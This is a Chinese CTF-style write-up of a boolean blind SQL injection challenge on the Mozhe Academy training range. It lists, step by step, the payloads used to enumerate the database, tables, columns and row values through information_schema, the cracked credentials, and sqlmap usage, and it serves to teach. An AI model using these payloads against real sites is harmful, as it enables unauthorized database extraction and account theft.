墨者学院-SQL注入漏洞测试(布尔盲注)

决心按部就班、由浅入深地去剖析下sql注入题目提供的靶场环境,完善自身解题思路。本题靶场环境比较简单、也比较常见,没有设置严格的过滤规则,仅仅是限制了页面的回显功能,属于比较初级的sql注入题目。废话不多说啦,先附上题目链接:https://www.mozhe.cn/bug/detail/UDNpU0gwcUhXTUFvQm9HRVdOTmNTdz09bW96aGUmozhe
这道题目发现注入位置的方法与SQL手工注入漏洞(MySQL数据库)这道题目是相同的(放上链接:(52条消息) 墨者学院-SQL手工注入漏洞测试(MySQL数据库)_Start&&Over的博客-CSDN博客),解决方法也很类似。不同之处在于网页没有回显,遇到这种情况,该如何解决?本文仍从手动+脚本辅助和sqlmap自动两种方法进行解答。
第一种方法(手动+脚本辅助):
首先,仍然对注入点进行测试。分别在payload处设置id=1’、id=1 and 1=1以及id=1 and 1=2三种命令对网页的反应进行总结和反馈。
墨者学院-SQL注入漏洞测试(布尔盲注)_第1张图片
墨者学院-SQL注入漏洞测试(布尔盲注)_第2张图片
墨者学院-SQL注入漏洞测试(布尔盲注)_第3张图片
从输入命令id=1’,导致网页出现异常,可以看出id的值类型为数字型,而非字符型;其次从输入正确命令id=1 and 1=1网页正常显示,而输入命令id=1 and 1=2 网页显示异常,表明网页会受到payload设置的影响,因此此处可以作为注入点。
其次,测试查询所对应的表的列数(运用order by命令)。
墨者学院-SQL注入漏洞测试(布尔盲注)_第4张图片
墨者学院-SQL注入漏洞测试(布尔盲注)_第5张图片
对比上图可知,当order by后数字设置为4时页面显示正常,而设置为5时页面显示异常,表明数据库所在表共4列。
第三步,测试页面是否回显(运用 union 联合查询语句)。
墨者学院-SQL注入漏洞测试(布尔盲注)_第6张图片
在payload中,设置id=-1会使原本页面由于id为负数出现显示异常,而后union select的正确表达会显示出相应页面。在之前SQL手工注入漏洞(MySQL数据库)(放上链接:(52条消息) 墨者学院-SQL手工注入漏洞测试(MySQL数据库)_Start&&Over的博客-CSDN博客)题目中,页面的标题和正文会出现不同的数字,通过出现的数字可以指示我们查询语句中可以让页面回显的位置,从而设置语句依次对数据库、表、列甚至列值进行爆破。而此题union的联合查询只会出现正常显示页面,没有存在任何提示,因此不具有回显优势。那么这道题就要依据页面显示是否异常来对数据库、表、列甚至列值进行猜测和爆破。
第四步,确定了题目所提供的环境,依次对数据库、表、列甚至列值进行猜测和爆破。
(1)对数据库名称的长度和具体名进行爆破。(运用length语句)
根据之前的测试,我们可以得知,当payload命令正确时,页面显示正常,而输入错误命令,将会使得页面变成空白,因此,我们先对比一下两个页面源码差距。
墨者学院-SQL注入漏洞测试(布尔盲注)_第7张图片
墨者学院-SQL注入漏洞测试(布尔盲注)_第8张图片
依据两种情况的源码,找到一处两者的不同:当命令执行正确时,会出现“关于平台停机维护的通知”这些字符。通过不同点的发现和标注进行数据库长度和具体名的爆破。
对于数据库长度的爆破依据网页对于id=1 and length(database())=?(依次测试1,2,3……)命令的反应,直至出现“关于平台停机维护的通知”标注字符,表明payload为正确输入,因此推断出数据库名称的长度。
墨者学院-SQL注入漏洞测试(布尔盲注)_第9张图片
同理,对于数据库具体名称的爆破依据网页对于id=1 and substr(database(),①,1)=’②’命令的反应。其中①处表示从数据库名称的第几位开始计算,设置大小范围为从1直至数据库名称长度+1;②处应依次设置为各种字符,在代码设置中用ASCII码的1-128进行替代。
墨者学院-SQL注入漏洞测试(布尔盲注)_第10张图片
代码执行结果如下:
在这里插入图片描述
(2)对数据表的个数,每个表名称的长度和具体名爆破。
跟数据库长度和具体名爆破的原理相似,先上代码,后做判断语句陈列。
墨者学院-SQL注入漏洞测试(布尔盲注)_第11张图片
数据表的个数:id=1 and (select count(table_name) from information_schema.tables where table_schema=database())=?(依次测试1,2,3……),当然此处database()也可以用之前爆破的数据库名stormgroup进行替代。
数据表名称的长度:id=1 and length( (select table_name from information_schema.tables where table_schema=database() limit ①,1))=②, ①处设置范围为0-数据表的个数,②处设置为1-50。
数据表名称的具体名:id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit ①,1),②,1))=③。①处设置范围为0-数据表的个数;②处为表名称长度范围,根据前面得到的内容进行设置,范围为1直至数据表名称长度+1;③处应依次设置为各种字符,在代码设置中用ASCII码的1-128进行替代。
代码执行结果如下:
在这里插入图片描述
(3)对数据表中列数、列名长度和列名进行爆破。
跟数据库长度和具体名爆破的原理相似,先上代码,后做判断语句陈列。
墨者学院-SQL注入漏洞测试(布尔盲注)_第12张图片
列数:id=1 and (select count(column_name) from information_schema.columns where table_name=’member’)=? (依次测试1,2,3……),前面member根据之前爆破的数据表名可得到的。
列名长度:id=1 and length((select column_name from information_schema.columns where table_name=’member’ limit ①,1))=②。①处设置为0-列数,②处设置为1-50。
列名:id=1 and ascii(substr((select column_name from information_schema.columns where table_name=’member’ limit ①,1),②,1))=③。①处设置范围为0-列数;②处为列名称长度范围,根据前面得到的内容进行设置,范围为1直至列名称长度+1;③处应依次设置为各种字符,在代码设置中用ASCII码的1-128进行替代。
代码执行结果如下:

墨者学院-SQL注入漏洞测试(布尔盲注)_第13张图片
(4)对列值进行爆破。
跟数据库长度和具体名爆破的原理相似,先上代码(以name列的列值爆破为例),后做判断语句陈列。

墨者学院-SQL注入漏洞测试(布尔盲注)_第14张图片
name列数据条数:id=1 and (select count(name) from member)=?(依次测试1,2,3……),前面name可根据之前爆破的列名得到。
name列数据长度:id=1 and length((select name from member limit ①,1))=②。①处设置为0-数据条数,②处设置为1-64。
name列数据内容:id=1 and ascii(substr((select name from member limit ①,1),②,1))=③。 ①处设置范围为0-数据条数;②处为数据长度范围,根据前面得到的内容进行设置,范围为1直至数据长度+1;③处应依次设置为各种字符,在代码设置中用ASCII码的1-128进行替代。
name列代码执行结果如下:

在这里插入图片描述
password列代码执行结果如下:
在这里插入图片描述
(5)对于获取的列值进行相应处理。
根据脚本跑出的结果可知,password值为32位的MD5加密值,需要进行解密,解密结果如下:
墨者学院-SQL注入漏洞测试(布尔盲注)_第15张图片
墨者学院-SQL注入漏洞测试(布尔盲注)_第16张图片
最后依次使用获得的两组数据进行尝试登录,发现账号mozhe,密码780930可以登录成功,并在登录页面发现需要的key值。
墨者学院-SQL注入漏洞测试(布尔盲注)_第17张图片
第二种方法(sqlmap自动):
(ps:由于之前将手动+脚本方法获得的key值进行提交,因此需要重启靶场,导致sqlmap的端口号会有变化,但不会对问题解决产生影响!!!)
(1)开门见山,直接对存在注入点的url进行数据库爆破,同样发现名为stormgroup的数据库。
墨者学院-SQL注入漏洞测试(布尔盲注)_第18张图片
(2)利用sqlmap对stormgroup数据库中的数据表进行爆破,发现名为member的数据表。
墨者学院-SQL注入漏洞测试(布尔盲注)_第19张图片
(3)对数据表为member的列名进行爆破,发现名为name和password的列。
墨者学院-SQL注入漏洞测试(布尔盲注)_第20张图片
(4)对name和password列的列值进行爆破,发现两组数据,同样将password值进行md5解密后进行尝试登录,获得题目要求的key值。
墨者学院-SQL注入漏洞测试(布尔盲注)_第21张图片

你可能感兴趣的:(CTF,web安全,mysql)